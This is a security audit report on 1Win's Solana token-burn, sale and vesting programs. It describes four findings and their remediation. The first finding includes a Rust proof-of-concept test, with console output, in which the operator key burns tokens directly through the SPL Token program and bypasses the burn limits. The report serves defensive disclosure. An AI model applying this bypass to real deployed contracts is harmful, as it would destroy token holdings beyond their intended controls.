Summary
100% of all REPORTED Findings have been addressed
Summary#
Introduction#
1Win engaged Halborn to conduct a security assessment on their smart contracts beginning on August 20th, 2026 and ending on August 31st, 2026. The security assessment was scoped to the repository listed with commit hash, and further details in the Scope section of this report.
Assessment Summary#
The team at Halborn assigned a full-time security engineer to assess the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.
The purpose of this assessment is to:
Ensure that smart contract functions operate as intended.
Identify potential security issues with the smart contracts.
In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the 1Win team. The main ones were the following:
Ensure that all token burns are executed exclusively through the program and subject to its configured limits.Enforce reasonable minimum durations for all participation windows.Provide a recovery path that allows a future claim window to be scheduled when the original activation deadline has expired.
Test Approach and Methodology#
Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.
The following phases and associated tools were used throughout the term of the assessment:
Research into the architecture, purpose, and use of the platform.
Manual program source code review to identify business logic issues.
Mapping out possible attack vectors
Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
Scanning dependencies for known vulnerabilities (
cargo audit).Local runtime testing (
anchor test)
Risk Methodology#
5.1 EXPLOITABILITY
Attack Origin (AO):
Attack Cost (AC):
Attack Complexity (AX):
Metrics:
| EXPLOITABILITY METRIC () | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Attack Origin (AO) | Arbitrary (AO:A) | 1 |
| Specific (AO:S) | 0.2 | |
| Attack Cost (AC) | Low (AC:L) | 1 |
| Medium (AC:M) | 0.67 | |
| High (AC:H) | 0.33 | |
| Attack Complexity (AX) | Low (AX:L) | 1 |
| Medium (AX:M) | 0.67 | |
| High (AX:H) | 0.33 |
5.2 IMPACT
Confidentiality (C):
Integrity (I):
Availability (A):
Deposit (D):
Yield (Y):
Metrics:
| IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Confidentiality (C) | None (C:N) | 0 |
| Low (C:L) | 0.25 | |
| Medium (C:M) | 0.5 | |
| High (C:H) | 0.75 | |
| Critical (C:C) | 1 | |
| Integrity (I) | None (I:N) | 0 |
| Low (I:L) | 0.25 | |
| Medium (I:M) | 0.5 | |
| High (I:H) | 0.75 | |
| Critical (I:C) | 1 | |
| Availability (A) | None (A:N) | 0 |
| Low (A:L) | 0.25 | |
| Medium (A:M) | 0.5 | |
| High (A:H) | 0.75 | |
| Critical (A:C) | 1 | |
| Deposit (D) | None (D:N) | 0 |
| Low (D:L) | 0.25 | |
| Medium (D:M) | 0.5 | |
| High (D:H) | 0.75 | |
| Critical (D:C) | 1 | |
| Yield (Y) | None (Y:N) | 0 |
| Low (Y:L) | 0.25 | |
| Medium (Y:M) | 0.5 | |
| High (Y:H) | 0.75 | |
| Critical (Y:C) | 1 |
5.3 SEVERITY COEFFICIENT
Reversibility (R):
Scope (S):
Metrics:
| SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
|---|---|---|
| Reversibility () | None (R:N) | 1 |
| Partial (R:P) | 0.5 | |
| Full (R:F) | 0.25 | |
| Scope () | Changed (S:C) | 1.25 |
| Unchanged (S:U) | 1 |
| Critical | High | Medium | Low | Informational |
| 9 - 10 | 7 - 8.9 | 4.5 - 6.9 | 2 - 4.4 | 0 - 1.9 |
Scope#
Assessment Summary & Findings Overview#
# | Title | Severity | Score | Status |
|---|---|---|---|---|
| Direct token authority bypasses burn controls | Medium | 5.0 | Solved09/16/2026 | |
| Participation windows can be configured with unusable durations | Low | 3.4 | Partially Solved09/16/2026 | |
| Claim activation can become permanently unavailable after the scheduling window expires | Low | 3.4 | Solved09/16/2026 | |
| Recipient assignments can make vested tokens permanently inaccessible | Informational | 1.6 | Solved09/16/2026 |
Findings & Tech Details#
Description
The Burn program enforces daily_limit and weekly_limit only inside burn, but the kettle token account remains directly controlled by operator as its owner or delegate. Because that same key is also used as the authority in the CPI to the SPL Token program, it can invoke the token burn instruction directly and bypass the program entirely. These direct burns do not execute the configured limits, update BurnCounters, or emit BurnExecuted, allowing a compromised or malicious operator to burn up to the kettle balance or delegated allowance regardless of the configured limits.
This affects the following flows:
• In burn of the Burn program, the source account is only constrained to use burn_state.token_mint, while operator is passed as the SPL Token burn authority. Since the program does not have exclusive authority over the kettle, the same key can burn directly through the SPL Token program without invoking burn.
• In set_operator of the Burn program, only BurnState.operator is updated. The previous key's ownership or delegation over the kettle is not revoked, allowing it to continue burning tokens directly after the program role has been rotated.
Proof of Concept
The following PoC shows that the operator can bypass the configured daily burn limit by invoking the SPL Token program directly and that rotating the operator does not revoke the previous key’s SPL authority over the kettle:
//! Behavior tests around the Burn program's rate-limit enforcement scope and
//! the SPL authority of the token account it operates on.
use anchor_lang::error::ERROR_CODE_OFFSET;
use anchor_lang::{InstructionData, ToAccountMetas};
use burn::errors::BurnError;
use burn_tests::{
burn_counters_pda, burn_event_authority_pda, burn_ix, burn_set_operator_ix, burn_state_pda,
BurnTestEnv,
};
use sale_test_common::{custom_error_code, decode_event, TestEnv};
use solana_instruction::Instruction;
use solana_signer::Signer;
const BASE_TS: i64 = 2_000_077_200;
fn anchor_err(v: BurnError) -> u32 {
ERROR_CODE_OFFSET + v as u32
}
fn line() {
println!("---------------------------------------------------------");
}
#[test]
fn direct_spl_burn_from_operator_key_is_not_subject_to_program_limits() {
line();
println!("STEP 1 - Runtime bring-up");
line();
let mut env = TestEnv::new();
env.warp_to(BASE_TS);
let win_mint = env.win_mint;
let owner = env.actors.owner.insecure_clone();
let admin = env.actors.admin.insecure_clone();
let operator = env.actors.operator.insecure_clone();
println!(" win_mint = {}", win_mint);
println!(" owner = {}", owner.pubkey());
println!(" admin = {}", admin.pubkey());
println!(" operator = {}", operator.pubkey());
println!(" burn program id = {}", burn::id());
assert!(!env.burn_state_exists());
line();
println!("STEP 2 - Initialize Burn program");
line();
let daily_limit: u64 = 50_000_000_000;
let weekly_limit: u64 = 200_000_000_000;
let init_ix = Instruction {
program_id: burn::id(),
accounts: burn::accounts::Initialize {
authority: owner.pubkey(),
burn_program: burn::id(),
program_data: TestEnv::burn_programdata_address(),
burn_state: burn_state_pda(),
burn_counters: burn_counters_pda(),
token_mint: win_mint,
system_program: solana_sdk_ids::system_program::id(),
event_authority: burn_event_authority_pda(),
program: burn::id(),
}
.to_account_metas(None),
data: burn::instruction::Initialize {
owner: owner.pubkey(),
admin: admin.pubkey(),
operator: operator.pubkey(),
daily_limit,
weekly_limit,
}
.data(),
};
env.send_ixs(&[init_ix], &owner.pubkey(), &[&owner])
.expect("initialize");
let state = env.burn_state();
println!(" daily_limit = {}", state.daily_limit);
println!(" weekly_limit = {}", state.weekly_limit);
println!(" operator = {}", state.operator);
line();
println!("STEP 3 - Create the token account and fund it");
line();
let kettle = env.create_ata(&operator.pubkey(), &win_mint);
env.mint_to(&win_mint, &kettle, 100_000_000_000);
println!(" token account = {}", kettle);
println!(" SPL authority = {} (operator)", operator.pubkey());
println!(" balance = {}", env.token_balance(&kettle));
println!(" mint total supply = {}", env.mint_supply(&win_mint));
line();
println!("STEP 4 - Burn program enforces its limits");
line();
env.expire_blockhash();
let r_legit = env.send_ixs(
&[burn_ix(operator.pubkey(), kettle, win_mint, 40_000_000_000)],
&operator.pubkey(),
&[&operator],
);
r_legit.as_ref().expect("40e9 within daily_limit");
let ev: burn::events::BurnExecuted = decode_event(&r_legit).expect("event");
let counters_a = env.burn_counters();
println!(" 40e9 via burn program:");
println!(" supply = {}", env.mint_supply(&win_mint));
println!(" balance = {}", env.token_balance(&kettle));
println!(
" counters = day.burned={}, week.burned={}",
counters_a.day.burned, counters_a.week.burned
);
println!(
" event = day_total={}, week_total={}",
ev.day_total, ev.week_total
);
env.expire_blockhash();
let r_over = env.send_ixs(
&[burn_ix(operator.pubkey(), kettle, win_mint, 60_000_000_000)],
&operator.pubkey(),
&[&operator],
);
assert_eq!(
custom_error_code(&r_over),
Some(anchor_err(BurnError::DailyLimitExceeded))
);
let counters_after_reject = env.burn_counters();
let supply_after_reject = env.mint_supply(&win_mint);
let balance_after_reject = env.token_balance(&kettle);
assert_eq!(supply_after_reject, 60_000_000_000);
assert_eq!(balance_after_reject, 60_000_000_000);
assert_eq!(counters_after_reject.day.burned, counters_a.day.burned);
assert_eq!(counters_after_reject.week.burned, counters_a.week.burned);
println!(" 60e9 via burn program -> DailyLimitExceeded (rollback verified)");
line();
println!("STEP 5 - Same 60e9 via spl_token::Burn signed by the operator");
line();
env.expire_blockhash();
let raw_burn_ix = spl_token_interface::instruction::burn(
&spl_token_interface::id(),
&kettle,
&win_mint,
&operator.pubkey(),
&[],
60_000_000_000,
)
.expect("build spl_token::Burn");
println!(" program_id = {} (SPL Token)", raw_burn_ix.program_id);
println!(
" amount = 60000000000 accounts = {}",
raw_burn_ix.accounts.len()
);
for (i, m) in raw_burn_ix.accounts.iter().enumerate() {
println!(
" [{i}] {} signer={} writable={}",
m.pubkey, m.is_signer, m.is_writable
);
}
let direct_result = env.send_ixs(&[raw_burn_ix], &operator.pubkey(), &[&operator]);
direct_result.as_ref().expect("direct SPL burn accepted");
assert!(
decode_event::<burn::events::BurnExecuted>(&direct_result).is_none(),
"BurnExecuted must not be present in a direct SPL burn tx"
);
line();
println!("STEP 6 - State after direct SPL burn");
line();
let counters_b = env.burn_counters();
let supply_b = env.mint_supply(&win_mint);
let balance_b = env.token_balance(&kettle);
let supply_delta = supply_after_reject - supply_b;
let balance_delta = balance_after_reject - balance_b;
println!(" SPL-observable:");
println!(
" supply {} -> {} (delta {})",
supply_after_reject, supply_b, supply_delta
);
println!(
" balance {} -> {} (delta {})",
balance_after_reject, balance_b, balance_delta
);
println!(" Program-observable:");
println!(
" day.burned {} -> {}",
counters_a.day.burned, counters_b.day.burned
);
println!(
" week.burned {} -> {}",
counters_a.week.burned, counters_b.week.burned
);
println!(" BurnExecuted event: none (verified via decode_event)");
assert_eq!(supply_delta, 60_000_000_000);
assert_eq!(balance_delta, 60_000_000_000);
assert_eq!(balance_b, 0);
assert_eq!(counters_b.day.burned, counters_a.day.burned);
assert_eq!(counters_b.week.burned, counters_a.week.burned);
assert_eq!(counters_b.day.index, counters_a.day.index);
assert_eq!(counters_b.week.index, counters_a.week.index);
println!();
println!(" Total burned in this UTC day: 100_000_000_000");
println!(
" = 2x daily_limit ({}) / 50% of weekly_limit ({})",
daily_limit, weekly_limit
);
println!(" Recorded in burn_counters: 40_000_000_000");
line();
println!();
}
#[test]
fn set_operator_does_not_revoke_the_previous_key_spl_authority() {
let mut env = TestEnv::new();
env.warp_to(BASE_TS);
let owner = env.actors.owner.insecure_clone();
let admin = env.actors.admin.insecure_clone();
let old_operator = env.actors.operator.insecure_clone();
let win_mint = env.win_mint;
let init_ix = Instruction {
program_id: burn::id(),
accounts: burn::accounts::Initialize {
authority: owner.pubkey(),
burn_program: burn::id(),
program_data: TestEnv::burn_programdata_address(),
burn_state: burn_state_pda(),
burn_counters: burn_counters_pda(),
token_mint: win_mint,
system_program: solana_sdk_ids::system_program::id(),
event_authority: burn_event_authority_pda(),
program: burn::id(),
}
.to_account_metas(None),
data: burn::instruction::Initialize {
owner: owner.pubkey(),
admin: admin.pubkey(),
operator: old_operator.pubkey(),
daily_limit: 50_000_000_000,
weekly_limit: 200_000_000_000,
}
.data(),
};
env.send_ixs(&[init_ix], &owner.pubkey(), &[&owner])
.expect("initialize");
let kettle = env.create_ata(&old_operator.pubkey(), &win_mint);
env.mint_to(&win_mint, &kettle, 40_000_000_000);
assert_eq!(env.burn_state().operator, old_operator.pubkey());
let new_operator = env.new_user();
env.expire_blockhash();
env.send_ixs(
&[burn_set_operator_ix(owner.pubkey(), new_operator.pubkey())],
&owner.pubkey(),
&[&owner],
)
.expect("set_operator");
assert_eq!(env.burn_state().operator, new_operator.pubkey());
env.expire_blockhash();
let r_program = env.send_ixs(
&[burn_ix(old_operator.pubkey(), kettle, win_mint, 1_000_000_000)],
&old_operator.pubkey(),
&[&old_operator],
);
assert_eq!(
custom_error_code(&r_program),
Some(anchor_err(BurnError::Unauthorized))
);
env.expire_blockhash();
let direct = spl_token_interface::instruction::burn(
&spl_token_interface::id(),
&kettle,
&win_mint,
&old_operator.pubkey(),
&[],
40_000_000_000,
)
.expect("build spl_token::Burn");
env.send_ixs(&[direct], &old_operator.pubkey(), &[&old_operator])
.expect("old key still burns directly");
assert_eq!(env.token_balance(&kettle), 0);
assert_eq!(env.mint_supply(&win_mint), 0);
let counters = env.burn_counters();
assert_eq!(counters.day.burned, 0);
assert_eq!(counters.week.burned, 0);
println!();
println!(" burn_state.operator rotated to a fresh key.");
println!(" Old key rejected by burn program (Unauthorized).");
println!(" Old key still burned 40e9 via spl_token::Burn:");
println!(" kettle balance -> {}", env.token_balance(&kettle));
println!(" supply -> {}", env.mint_supply(&win_mint));
println!(
" counters -> day.burned={}, week.burned={}",
counters.day.burned, counters.week.burned
);
println!();
}The test execution below confirms that both scenarios successfully reproduce the identified behavior:
❯ cargo test -p burn-tests --test authority_scope -- --nocapture
Finished `test` profile [unoptimized + debuginfo] target(s) in 0.27s
Running tests/authority_scope.rs (target/debug/deps/authority_scope-3abea5c719b6f874)
running 2 tests
---------------------------------------------------------
STEP 1 - Runtime bring-up
---------------------------------------------------------
win_mint = 9mcn8wrAH35qp4oLxsNHKzb4KFyN16WE14iBCq6PK2mq
owner = BkNoAcqTTthUZsBtjTgPYoKox29kGjxWMzyghst2YXTy
admin = 8gtKm3cfBubRo5YR5Hzy88hhccpNNTnK68XayCAcfhYm
operator = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x
burn program id = HuzMDQVv3TA4wWFW1m4pBQ4q5Sz7aHoPwLLGHEzpP8Cb
---------------------------------------------------------
STEP 2 - Initialize Burn program
---------------------------------------------------------
daily_limit = 50000000000
weekly_limit = 200000000000
operator = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x
---------------------------------------------------------
STEP 3 - Create the token account and fund it
---------------------------------------------------------
token account = 3CSmCV1AS9rjw9PbzLD3sEZwtBCxpXMmDx2oP1RXqT81
SPL authority = 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x (operator)
balance = 100000000000
mint total supply = 100000000000
---------------------------------------------------------
STEP 4 - Burn program enforces its limits
---------------------------------------------------------
40e9 via burn program:
supply = 60000000000
balance = 60000000000
counters = day.burned=40000000000, week.burned=40000000000
event = day_total=40000000000, week_total=40000000000
60e9 via burn program -> DailyLimitExceeded (rollback verified)
---------------------------------------------------------
STEP 5 - Same 60e9 via spl_token::Burn signed by the operator
---------------------------------------------------------
program_id = TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA (SPL Token)
amount = 60000000000 accounts = 3
[0] 3CSmCV1AS9rjw9PbzLD3sEZwtBCxpXMmDx2oP1RXqT81 signer=false writable=true
[1] 9mcn8wrAH35qp4oLxsNHKzb4KFyN16WE14iBCq6PK2mq signer=false writable=true
[2] 2UVoL8TcFV1PS5Kwucj4QuW1fYhnFRhiirvgdFzCHd3x signer=true writable=false
---------------------------------------------------------
STEP 6 - State after direct SPL burn
---------------------------------------------------------
SPL-observable:
supply 60000000000 -> 0 (delta 60000000000)
balance 60000000000 -> 0 (delta 60000000000)
Program-observable:
day.burned 40000000000 -> 40000000000
week.burned 40000000000 -> 40000000000
BurnExecuted event: none (verified via decode_event)
Total burned in this UTC day: 100_000_000_000
= 2x daily_limit (50000000000) / 50% of weekly_limit (200000000000)
Recorded in burn_counters: 40_000_000_000
---------------------------------------------------------
test direct_spl_burn_from_operator_key_is_not_subject_to_program_limits ... ok
burn_state.operator rotated to a fresh key.
Old key rejected by burn program (Unauthorized).
Old key still burned 40e9 via spl_token::Burn:
kettle balance -> 0
supply -> 0
counters -> day.burned=0, week.burned=0
test set_operator_does_not_revoke_the_previous_key_spl_authority ... ok
test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.45sRecommendation
It is recommended to make a program derived address the sole authority of the kettle token account, remove any operator ownership or delegation, and have the program sign every SPL Token burn with that address so all burns pass through the daily and weekly limit checks.
Remediation Comment
SOLVED: The 1Win team solved the issue in the specified commit id.
Description
The Sale program validates only the maximum duration of the sale and claim windows. Both SaleState::validate_sale_window and SaleState::validate_claim_duration, invoked during initialize and the corresponding schedule update instructions, accept durations as short as one second. These configurations can become immutable after their respective phase transitions, potentially preventing users from participating in the sale or claiming their allocated assets.
The following instances are affected:
The sale window is validated by
SaleState::validate_sale_window, which requiressale_end_dateto be greater thansale_start_datebut does not enforce a minimumsale_duration. Oncesale_start_dateis reached,set_sale_schedulecan no longer modify the window becauserequire_pre_saleonly permits changes duringPreSale. Consequently, the sale may expire before users have a practical opportunity to callpurchase.The claim window is validated by
SaleState::validate_claim_duration, which accepts any positiveclaim_durationup toMAX_CLAIM_DURATION. Onceactivate_claimsetspool_fixed,set_claim_schedulecan no longer modify the window. Consequently, the sale may transition fromClaimtoClaimClosedbefore participants can callclaim, preventing them from receiving their allocated tokens and refundable USDC before the remaining assets become eligible for withdrawal.
Recommendation
It is recommended to enforce reasonable minimum durations for all participation windows.
Remediation Comment
PARTIALLY SOLVED: The 1Win team introduced a one-hour minimum claim period in the specified commit. However, the sale period still has no minimum duration and can be configured to last just one second, potentially preventing users from participating.
Description
The Sale program restricts the claim start time to no later than thirty days after the sale ends, while activate_claim separately requires the configured claim_start_date to still be in the future when the pool is fixed. The validate_claim_start validation used by initialize and set_claim_schedule enforces the first condition without providing any recovery mechanism if the second condition can no longer be satisfied.
If activate_claim is not successfully executed before sale_end_date + MAX_CLAIM_START_DELAY, every claim start time permitted by validate_claim_start is already in the past. At that point, set_claim_schedule cannot configure a future valid claim start, while activate_claim permanently rejects every permitted value with ClaimStartInPast. Since pool_fixed remains false, the Sale program cannot transition to Claim or ClaimClosed, preventing normal claim processing and the subsequent vault cleanup flows. User deposits can still be individually returned through refund, but the sale cannot complete its intended lifecycle and assets held for the claim process can remain indefinitely inaccessible through the normal flow.
Recommendation
It is recommended to provide a recovery path that allows a future claim window to be scheduled when the original activation deadline has expired.
Remediation Comment
SOLVED: The 1Win team solved the issue in the specified commit id.
Description
The Vesting program allows a recipient to be assigned without proving that the address can authorize subsequent token transfers. The VestingConfig::validate_payee function, called by create_vesting and set_recipient, only rejects Pubkey::default() and vault_authority. Since both instructions receive the proposed recipient as a SystemAccount, an uninitialized address can satisfy the account validation.
If the configured address has neither a private key nor a program capable of signing on its behalf, claim can create an ATA controlled by that address and transfer vested tokens into it. The transfer increments claimed, but no instruction can recover tokens from the recipient ATA. Consequently, the transferred amount becomes permanently inaccessible.
The following instances are affected:
In
create_vesting, theOwnercan assign an uncontrollable address when creating an activity. A later claim initiated by theoperatortransfers the unlocked tokens to the resulting ATA without requiring recipient participation.In
set_recipient, theAdmincan replace a valid recipient with an uncontrollable address at any point in the activity lifecycle. Subsequent claims initiated by theoperatortransfer newly unlocked tokens to that address.
For a future PDA, the outcome depends on timing. If it remains uninitialized when claim executes, the transfer can succeed and strand the tokens. If the PDA is initialized first and ceases to be system owned, the SystemAccount constraint rejects subsequent claims until the recipient is corrected. No unprivileged caller can configure the destination, and the project documents an operational verification procedure, limiting this to a privileged configuration error.
Recommendation
It is recommended to require a proposed recipient to accept the assignment before it becomes active. Program derived recipients should be limited to supported integrations capable of accepting through their controlling program; otherwise, only on curve addresses should be permitted.
Remediation Comment
SOLVED: The 1Win team solved the issue in the specified commit id.
Disclaimer#
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.